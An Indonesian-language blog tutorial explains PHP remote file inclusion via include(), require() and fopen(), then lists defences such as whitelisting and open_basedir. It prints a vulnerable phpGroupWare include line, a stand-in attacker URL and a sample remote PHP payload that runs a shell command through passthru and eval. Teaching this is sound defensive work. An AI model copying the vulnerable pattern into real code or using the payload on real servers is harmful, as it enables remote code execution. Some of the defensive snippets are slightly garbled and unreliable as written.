PHP |
- Fungsi include(), require() atau fopen()
Akibat mekanisme
autoglobal, suatu varibel dalam php menjadi tidak jelas jenisnya. Jenis
variabel jadi tidak dapat dibedakan antara variabel dari GET/POST, varibel dari
ENVIRONTMENT atau varibel dari COOKIES/SESSION. Akibatnya suatu variabel apa
saja yang didefinisikan dapat dengan mudah diisi dengan nilai dari varibel GET
atau POST.
Kelemahan
biasanya muncul ketika digunakan varibel untuk parameter fungsi include(),
require() atau fopen(). Dengan fungsi tersebut dapat dilakukan eksekusi/parsing
file PHP dari file lain, baik pada file dari disk local atau file dari situs
lain. Jika varibel untuk parameter fungsi tersebut diketahui,maka attacker dapat
mengganti nilai varibel tersebut dengan mengirimkan nilai varibel lewat metode
GET atau POST.
Contoh
dibawah ini adalah vulnerability akibat menggunakan variabel pada fungsi
include(). Perhatikan kode dibawah ini :
include($phpgw_info["server"]["include_root"]."/phpgwapi/phpgw_info.inc.php");
Kode
tersebut tidak aman karena walaupun menggunakan varibel array, variable
$phpgw_info masih dapat diganti dengan varibel GET/POST dari client atau
diganti dengan sebuah url lain misalnya http://attacker/phpgwapi/phpgw_ info.inc.php,
dimana file phpgw_info.inc.php dapat berisi kode php yang dapat dieksekusi oleh
server korban/victim, misalnya berupa kode :
<?php $phpcode = 'echo("Hi
there!<BR>");passthru("id");';
if
(substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) ==
"PHP")
echo("<?php $phpcode ?>");
else
eval($phpcode);
exit();
?>
▪ Hindari
penggunaan variabel sebagai nama file. Variabel $lib_dir
di
atas bisa diganti dengan sebuah nilai yang didefinisikan oleh PHP yaitu fungsi define.
▪ Cek apakah
nama file yang dibuat adalah salah satu dari nama file yang diinginkan,
misalnya:
$valid_pages = array (
“apage.php” => “”,
“another.php” => “”,
“more.php” => “”);
if (!isset($valid_pages[$page])) {
// batalkan script
// sebaiknya buat pesan log di sini juga
die(“Invalid request”);
}
▪ jika ternyata
harus menggunakan sebuah variabel dari browser, cek dahulu apakah nilai
variabel menggunakan kode seperti di bawah ini:
if (!(eregi(“^[a-z_./]*$”, $page) && !eregi(\\.\\.,$page)))
{
// batalkan script
// sebaiknya buat pesan log di sini juga
die(“Invalid request”);
}
▪ Jangan percaya
variabel global untuk langkah berikutnya yang dapat menjamin variabel tidak
akan digunakan untuk hal-hal yang merusak.
▪ Gunakan
konfigurasi varibel allow_url_fopen dan open_basedir untuk membatasi lokasi di mana file bisa dibuka.
Terima Kasih Semoga Bermanfaat..
Jangan Lupa Komentarnya..... :D :)